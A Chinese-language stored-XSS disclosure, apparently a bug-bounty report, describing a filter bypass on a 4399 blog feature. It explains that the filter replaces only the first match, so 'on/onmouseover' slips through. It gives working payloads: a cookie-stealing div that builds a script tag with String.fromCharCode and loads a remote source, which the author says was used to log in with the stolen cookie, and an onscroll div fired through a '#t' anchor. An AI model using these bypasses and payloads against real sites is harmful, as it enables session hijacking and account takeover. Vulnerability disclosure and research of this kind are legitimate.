4399某功能处可以xss,有过滤器过滤,但是可以通过一些手段进行绕过。


 

1 测试地址

请在确认后漏洞后删掉此地址内容。

2 4399日志处可以构成xss,此处的过滤器

传了个图,插了写代码进去,发现会将on expression \ 等过滤成.

3 经过测试发现,这里应该是对<img>标签的每个属性进行正则,只要发现就进行过滤,但是一个字符串只是过滤最前面的一个特殊字符。

就是说onload onload===》.load .load ononload===》.onload

4 所以直接构造onload为on/onload即可绕过

5 不过在测试时候发现,虽然可以插进去,F12查看也正常,但是没有执行。<img>的onload onerror之类的貌似都会重新判断一次。

比如

//伪代码

if(图片尺寸>50){

img.onload="xxx"

}

所以就又试着插了些别的代码,比如input、iframe等,

6 测试之后发现这里貌似只能插入<div> <img> <a> <font> <p>等几个标签,看来是做了白名单了

所以就用onmouseover

7 插一个大点的<img> <div> 效果也蛮不错诶,基本上进去就会触发了。(图中的红色边框是div的区域,为了让大家看的更加之观点)

图1

4399储存型xss,过滤器绕过

8 插入的代码,以及F12中看到成功插入

图2 图3


4399储存型xss,过滤器绕过


4399储存型xss,过滤器绕过


 

9 插入了下盗取cookie的代码,并成功盗取cookie登录

将onmouseover写为on/onmouseover,会过滤成为. onmouseover

插入成功后的盗取cookie的代码,用F12那里复制出来如下

(这里要注意对script进行下转换,不然script会被过滤成.)

<div style="border:5px solid red;" .="" onmouseover="s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src='?'+Math.random();document.body.appendChild(s)"><img src="" .="" onmouseover="alert(2)"></div>

图4

4399储存型xss,过滤器绕过

10 这里<div>也可以插入以下代码直接访问就触发xss

<div id="xx" onscroll="alert(1);" style="height:30px;overflow-y:auto;width:100px;">a b c a b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b ca b c<a name="t">d</a></div>

div 当滚动条滚动的时候触发

div里面的内容是为了让div出现滚动条,name="t"那个是为了让可以直接定位到那里使滚动条滚动

利用地址后面要#t

要加上#t 才会直接到<a>标签name处触发onscroll

11 至于给管理员通过意见反馈、私信等途径,发链接去xss管理员cookie和后台地址这些事情我就不干了。